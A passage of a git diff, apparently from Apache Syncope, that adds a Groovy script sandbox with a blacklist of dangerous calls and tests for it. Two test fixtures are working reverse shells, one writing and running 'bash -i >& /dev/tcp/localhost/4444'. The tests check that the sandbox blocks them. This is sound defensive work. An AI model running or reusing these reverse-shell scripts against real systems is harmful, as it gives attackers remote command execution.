org.kohsuke.groovy.sandbox.GroovyInterceptor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +@Aspect +public class GroovySandbox { + + protected static final Logger LOG = LoggerFactory.getLogger(GroovySandbox.class); + + protected final Whitelist whitelist; + + public GroovySandbox(final Whitelist whitelist) { + this.whitelist = whitelist; + } + + @Around("execution(* *(..))") + public Object around(final ProceedingJoinPoint joinPoint) throws Throwable { + GroovyInterceptor interceptor = new SandboxInterceptor(whitelist); + try { + interceptor.register(); + + return joinPoint.proceed(); + } finally { + interceptor.unregister(); + } + } +} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java index f86cdacb6bf..24a216caaf9 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.spring.implementation; +import groovy.grape.GrabAnnotationTransformation; import groovy.lang.GroovyClassLoader; import java.lang.reflect.Modifier; import java.lang.reflect.ParameterizedType; @@ -26,6 +27,7 @@ import java.util.HashMap; import java.util.Map; import java.util.Optional; +import java.util.Set; import java.util.function.Consumer; import java.util.function.Supplier; import org.apache.commons.lang3.tuple.Pair; @@ -36,6 +38,7 @@ import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.provisioning.api.ImplementationLookup; @@ -46,13 +49,26 @@ import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.spring.ApplicationContextProvider; +import org.codehaus.groovy.control.CompilerConfiguration; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.RejectASTTransformsCustomizer; +import org.kohsuke.groovy.sandbox.SandboxTransformer; +import org.springframework.aop.aspectj.annotation.AspectJProxyFactory; public final class ImplementationManager { - private static final GroovyClassLoader GROOVY_CLASSLOADER = new GroovyClassLoader(); + private static final GroovyClassLoader GROOVY_CLASSLOADER; private static final Map> CLASS_CACHE = Collections.synchronizedMap(new HashMap<>()); + static { + CompilerConfiguration cc = new CompilerConfiguration(); + cc.addCompilationCustomizers(new RejectASTTransformsCustomizer(), new SandboxTransformer()); + cc.setDisabledGlobalASTTransformations(Set.of(GrabAnnotationTransformation.class.getName())); + + GROOVY_CLASSLOADER = new GroovyClassLoader(Thread.currentThread().getContextClassLoader(), cc); + } + @SuppressWarnings("unchecked") public static Optional buildReportJobDelegate( final Implementation impl, @@ -75,7 +91,7 @@ public static Optional buildReportJobDelegate( return Optional.empty(); } - ReportJobDelegate report = build(clazz, true, cacheGetter, cachePutter); + ReportJobDelegate report = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); report.setConf(conf); return Optional.of(report); } @@ -102,7 +118,7 @@ public static Optional buildAccountRule( return Optional.empty(); } - AccountRule rule = build(clazz, true, cacheGetter, cachePutter); + AccountRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -129,7 +145,7 @@ public static Optional buildPasswordRule( return Optional.empty(); } - PasswordRule rule = build(clazz, true, cacheGetter, cachePutter); + PasswordRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -157,7 +173,7 @@ public static Optional buildPullCorrelationRule( return Optional.empty(); } - PullCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + PullCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -185,7 +201,7 @@ public static Optional buildPushCorrelationRule( return Optional.empty(); } - PushCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + PushCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -251,15 +267,27 @@ private static Pair, Boolean> getClass(final Implementation impl) t return Pair.of((Class) clazz, false); } + private static T createBean(final Class clazz, final ImplementationEngine engine) { + T bean = ApplicationContextProvider.getBeanFactory().createBean(clazz); + if (engine == ImplementationEngine.GROOVY) { + AspectJProxyFactory factory = new AspectJProxyFactory(bean); + factory.addAspect(new GroovySandbox( + ApplicationContextProvider.getApplicationContext().getBean(Blacklist.class))); + bean = factory.getProxy(); + } + return bean; + } + @SuppressWarnings("unchecked") public static T build(final Implementation impl) throws ClassNotFoundException { - return (T) ApplicationContextProvider.getBeanFactory().createBean(getClass(impl).getLeft()); + return createBean((Class) getClass(impl).getLeft(), impl.getEngine()); } @SuppressWarnings("unchecked") private static T build( final Class clazz, final boolean classCached, + final ImplementationEngine engine, final Supplier cacheGetter, final Consumer cachePutter) { @@ -271,7 +299,7 @@ private static T build( instance = cacheGetter.get(); } if (instance == null) { - instance = ApplicationContextProvider.getBeanFactory().createBean(clazz); + instance = createBean(clazz, engine); if (perContext) { cachePutter.accept(instance); @@ -286,7 +314,7 @@ public static T build(final Implementation impl, final Supplier cacheGett Pair, Boolean> clazz = getClass(impl); - return build(clazz.getLeft(), clazz.getRight(), cacheGetter, cachePutter); + return build(clazz.getLeft(), clazz.getRight(), impl.getEngine(), cacheGetter, cachePutter); } public static Class purge(final String implementation) { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java index 14874401a14..ece1679733f 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java @@ -21,6 +21,10 @@ import com.nimbusds.jose.JOSEException; import com.nimbusds.jose.JWSAlgorithm; import com.nimbusds.jose.KeyLengthException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; import org.apache.syncope.common.lib.types.CipherAlgorithm; @@ -32,6 +36,7 @@ import org.apache.syncope.core.spring.policy.DefaultRuleEnforcer; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSSigner; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSVerifier; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.config.BeanDefinition; @@ -39,10 +44,13 @@ import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.Role; +import org.springframework.core.io.ResourceLoader; import org.springframework.security.config.core.GrantedAuthorityDefaults; @EnableConfigurationProperties(SecurityProperties.class) +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SecurityContext { @@ -146,4 +154,16 @@ public RuleEnforcer ruleEnforcer(final RealmDAO realmDAO) { public ApplicationContextProvider applicationContextProvider() { return new ApplicationContextProvider(); } + + @ConditionalOnMissingBean + @Bean + public Blacklist groovyBlackList(final ResourceLoader resourceLoader, final SecurityProperties props) + throws IOException { + + try (InputStream in = resourceLoader.getResource(props.getGroovyBlacklist()).getInputStream(); + Reader reader = new InputStreamReader(in)) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java index 734fba8d65a..c5d9690117d 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java @@ -100,6 +100,8 @@ public void setUseLenientSaltSizeCheck(final boolean useLenientSaltSizeCheck) { private String secretKey; + private String groovyBlacklist = "classpath:META-INF/groovy.blacklist"; + private final DigesterProperties digester = new DigesterProperties(); public String getAdminUser() { @@ -174,6 +176,14 @@ public void setSecretKey(final String secretKey) { this.secretKey = secretKey; } + public String getGroovyBlacklist() { + return groovyBlacklist; + } + + public void setGroovyBlacklist(final String groovyBlacklist) { + this.groovyBlacklist = groovyBlacklist; + } + public DigesterProperties getDigester() { return digester; } diff --git a/core/spring/src/main/resources/META-INF/groovy.blacklist b/core/spring/src/main/resources/META-INF/groovy.blacklist new file mode 100644 index 00000000000..85292bc6085 --- /dev/null +++ b/core/spring/src/main/resources/META-INF/groovy.blacklist @@ -0,0 +1,112 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# Reflective access to Groovy +method groovy.lang.GroovyObject getMetaClass +method groovy.lang.GroovyObject getProperty java.lang.String +method groovy.lang.GroovyObject invokeMethod java.lang.String java.lang.Object +method groovy.lang.GroovyObject setMetaClass groovy.lang.MetaClass +method groovy.lang.GroovyObject setProperty java.lang.String java.lang.Object + +# Raw file operations +staticMethod java.io.File createTempFile java.lang.String java.lang.String +staticMethod java.io.File createTempFile java.lang.String java.lang.String java.io.File +new java.io.File java.lang.String +new java.io.File java.lang.String java.lang.String +new java.io.File java.net.URI +staticMethod java.io.File listRoots +new java.io.FileInputStream java.lang.String +new java.io.FileOutputStream java.lang.String +new java.io.FileOutputStream java.lang.String boolean +new java.io.FileReader java.lang.String +new java.io.FileWriter java.lang.String +new java.io.FileWriter java.lang.String boolean +new java.io.PrintStream java.lang.String +new java.io.PrintStream java.lang.String java.lang.String +new java.io.PrintWriter java.lang.String +new java.io.PrintWriter java.lang.String java.lang.String +new java.io.RandomAccessFile java.lang.String java.lang.String + +# No reflection! +method java.lang.Class getConstructor java.lang.Class[] +method java.lang.Class getConstructors +method java.lang.Class getDeclaredConstructor java.lang.Class[] +method java.lang.Class getDeclaredConstructors +method java.lang.Class getDeclaredField java.lang.String +method java.lang.Class getDeclaredFields +method java.lang.Class getDeclaredMethod java.lang.String java.lang.Class[] +method java.lang.Class getDeclaredMethods +method java.lang.Class getField java.lang.String +method java.lang.Class getFields +method java.lang.Class getMethod java.lang.String java.lang.Class[] +method java.lang.Class getMethods +method java.lang.Class getResource java.lang.String +method java.lang.Class getResourceAsStream java.lang.String +method java.lang.Class newInstance + +# Same for local process execution. +new java.lang.ProcessBuilder java.lang.String[] +new java.lang.ProcessBuilder java.util.List +method java.lang.Process start +staticMethod java.lang.Runtime getRuntime +staticMethod java.lang.System exit int + +# Leak information. +staticMethod java.lang.System getProperties +staticMethod java.lang.System getProperty java.lang.String +staticMethod java.lang.System getProperty java.lang.String java.lang.String +staticMethod java.lang.System getenv +staticMethod java.lang.System getenv java.lang.String +staticMethod java.lang.System nanoTime +staticMethod java.lang.System setProperty java.lang.String java.lang.String + +# Could be used to read local files. +method java.net.URL getContent +method java.net.URL getContent java.lang.Class[] +method java.net.URL openConnection +method java.net.URL openStream + +# NIO file operations must start with a Path: +staticMethod java.nio.file.Paths get java.lang.String java.lang.String[] +staticMethod java.nio.file.Paths get java.net.URI + +# More process execution, Groovy-style: +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.util.List java.io.File + +# JSON +staticMethod groovy.json.JsonOutput toJson groovy.lang.Closure +staticMethod groovy.json.JsonOutput toJson java.lang.Object + +# SECURITY-538 +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getAt java.lang.Object java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getMetaPropertyValues java.lang.Object +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getProperties java.lang.Object +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods putAt java.lang.Object java.lang.String java.lang.Object +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class + +# SECURITY-1754 +new org.kohsuke.groovy.sandbox.impl.Checker$SuperConstructorWrapper java.lang.Object[] +new org.kohsuke.groovy.sandbox.impl.Checker$ThisConstructorWrapper java.lang.Object[] diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java index e8348007d62..8db7bf7fa63 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java @@ -18,12 +18,19 @@ */ package org.apache.syncope.core.spring; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.DummyImplementationLookup; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.Primary; +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SpringTestConfiguration { @@ -37,4 +44,13 @@ public ApplicationContextProvider applicationContextProvider() { public ImplementationLookup implementationLookup() { return new DummyImplementationLookup(); } + + @Bean + public Blacklist groovyBlackList() throws IOException { + try (InputStream is = getClass().getResourceAsStream("/META-INF/groovy.blacklist"); + Reader reader = new InputStreamReader(is);) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java new file mode 100644 index 00000000000..9586d5ad90f --- /dev/null +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import org.apache.cxf.helpers.IOUtils; +import org.apache.syncope.common.lib.types.ImplementationEngine; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; +import org.apache.syncope.core.spring.SpringTestConfiguration; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledOnOs; +import org.junit.jupiter.api.condition.OS; +import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; + +@SpringJUnitConfig(classes = { SpringTestConfiguration.class }) +class GroovySandboxTest { + + @Test + void processBuilder() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("processBuilder"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.lang.ProcessBuilder java.lang.String[]'")); + } + + @EnabledOnOs(OS.LINUX) + @Test + void bash() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("bash"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.io.File java.lang.String'")); + } +} diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java similarity index 98% rename from core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java rename to core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java index d6b4d21944f..d7edb9723da 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java @@ -36,7 +36,7 @@ import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @SpringJUnitConfig(classes = { SpringTestConfiguration.class }) -public class ImplementationManagerTest { +public class PasswordRuleTest { public static DefaultPasswordRuleConf createBaseDefaultPasswordRuleConf() { DefaultPasswordRuleConf baseDefaultPasswordRuleConf = new DefaultPasswordRuleConf(); diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java index 576b5a3686b..50ea8be8284 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java @@ -25,7 +25,7 @@ import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.spring.SpringTestConfiguration; -import org.apache.syncope.core.spring.implementation.ImplementationManagerTest; +import org.apache.syncope.core.spring.implementation.PasswordRuleTest; import org.junit.jupiter.api.Test; import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @@ -36,7 +36,7 @@ public class PasswordGeneratorTest { @Test public void digit() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setDigit(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -48,7 +48,7 @@ public void digit() { @Test public void alphabetical() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setAlphabetical(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -60,7 +60,7 @@ public void alphabetical() { @Test public void lowercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setLowercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -72,7 +72,7 @@ public void lowercase() { @Test public void uppercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setUppercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -84,7 +84,7 @@ public void uppercase() { @Test public void special() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setSpecial(1); pwdRuleConf.getSpecialChars().add('@'); pwdRuleConf.getSpecialChars().add('!'); @@ -102,7 +102,7 @@ public void issueSYNCOPE678() { String password = passwordGenerator.generate(List.of()); assertNotNull(password); - DefaultPasswordRuleConf pwdRuleConf1 = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf1 = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf1.setMinLength(0); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf1)); diff --git a/core/spring/src/test/resources/BashMacroActions.groovy b/core/spring/src/test/resources/BashMacroActions.groovy new file mode 100644 index 00000000000..6189eac5519 --- /dev/null +++ b/core/spring/src/test/resources/BashMacroActions.groovy @@ -0,0 +1,48 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable + +abstract class BashMacroActions extends Script implements MacroActions {} +@BaseScript BashMacroActions _ + +@Override +StringBuilder afterAll(StringBuilder output) { + def f = new File('/tmp/hello.sh') + f.withWriter { w -> + w.println('#!/bin/bash') + w.println('bash -i >& /dev/tcp/localhost/4444 0>&1') + } + f.setExecutable(true) + + def p = ['/bin/bash','-lc','/tmp/hello.sh'].execute() + def so = new StringWriter() + def se = new StringWriter() + p.consumeProcessOutput(so, se) + p.waitFor() + + output + .append('\n[macro] wrote /tmp/hello.sh and executed it.\n[stdout]\n') + .append(so.toString()).append('\n') + if (se.toString()) { + output.append('[stderr]\n').append(se.toString()).append('\n') + } + return output +} diff --git a/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy new file mode 100644 index 00000000000..47e0dd69dba --- /dev/null +++ b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy @@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; + +abstract class ProcessBuilderMacroActions extends Script implements MacroActions {} +@BaseScript ProcessBuilderMacroActions _ + +@Override +StringBuilder afterAll(StringBuilder output) { + String host = "localhost"; + int port = 4444; + String cmd = "bash"; + + Process p = new ProcessBuilder(cmd) + .redirectErrorStream(true) + .start(); + + Socket s = new Socket(host, port); + + InputStream pi = p.getInputStream(); + InputStream pe = p.getErrorStream(); + InputStream si = s.getInputStream(); + + OutputStream po = p.getOutputStream(); + OutputStream so = s.getOutputStream(); + + while (!s.isClosed()) { + while (pi.available() > 0) { + so.write(pi.read()); + } + while (pe.available() > 0) { + so.write(pe.read()); + } + while (si.available() > 0) { + po.write(si.read()); + } + + so.flush(); + po.flush(); + + Thread.sleep(1); + + try { + p.exitValue(); + break; + } catch (Exception e) { + // ignored + } + } + ; + p.destroy(); + s.close(); + + output.append('\nShell started...\n') + return output +} diff --git a/core/spring/src/test/resources/simplelogger.properties b/core/spring/src/test/resources/simplelogger.properties new file mode 100644 index 00000000000..030d4d091c1 --- /dev/null +++ b/core/spring/src/test/resources/simplelogger.properties @@ -0,0 +1,22 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html +# Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS +org.slf4j.simpleLogger.defaultLogLevel=debug diff --git a/docker/core/LICENSE b/docker/core/LICENSE index 246ecdc3a92..6d64d924766 100644 --- a/docker/core/LICENSE +++ b/docker/core/LICENSE @@ -228,6 +228,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. @@ -248,7 +253,27 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): +For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): +This is licensed under the AL 2.0, see above. + +== + +For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): +This is licensed under the AL 2.0, see above. + +== + +For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +This is licensed under the AL 2.0, see above. + +== + +For Jakarta Mail: This is licensed under the EPL 1.0: Eclipse Public License - v 1.0 @@ -457,27 +482,12 @@ any resulting litigation. == -For Nimbus Content Type (https://bitbucket.org/connect2id/nimbus-content-type/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus Language Tags (https://bitbucket.org/connect2id/nimbus-language-tags/): -This is licensed under the AL 2.0, see above. - -== - -For Nimbus JOSE-JWT (https://bitbucket.org/connect2id/nimbus-jose-jwt): -This is licensed under the AL 2.0, see above. - -== - -For OAuth 2.0 SDK with OpenID Connect extensions (https://bitbucket.org/connect2id/oauth-2.0-sdk-with-openid-connect-extensions/): +For HikariCP (http://brettwooldridge.github.io/HikariCP/): This is licensed under the AL 2.0, see above. == -For Eclipse Metro (https://projects.eclipse.org/projects/ee4j.metro): +For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): This is licensed under the EDL 1.0: Eclipse Distribution License - v 1.0 @@ -505,21 +515,6 @@ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWIS THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -== - -For QDox (https://github.com/paul-hammant/qdox): -This is licensed under the AL 2.0, see above. - -== - -For HikariCP (http://brettwooldridge.github.io/HikariCP/): -This is licensed under the AL 2.0, see above. - -== - -For Jakarta Activation (https://eclipse-ee4j.github.io/jaf/): -This is licensed under the EDL 1.0, see above. - == For Eclipse Implementation of JAXB (https://projects.eclipse.org/projects/ee4j.jaxb-impl): @@ -591,6 +586,11 @@ This is licensed under the EPL 1.0, see above. == +For Jakarta Servlet (https://projects.eclipse.org/projects/ee4j.servlet): +This is licensed under the EPL 1.0, see above. + +== + For Jakarta WebSocket API (https://projects.eclipse.org/projects/ee4j.websocket): This is licensed under the EPL 1.0, see above. @@ -1042,6 +1042,11 @@ This is licensed under the CDDL 1.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + For ANTLR (https://www.antlr.org/): This is licensed under the BSD license, see above. @@ -1062,11 +1067,6 @@ This is 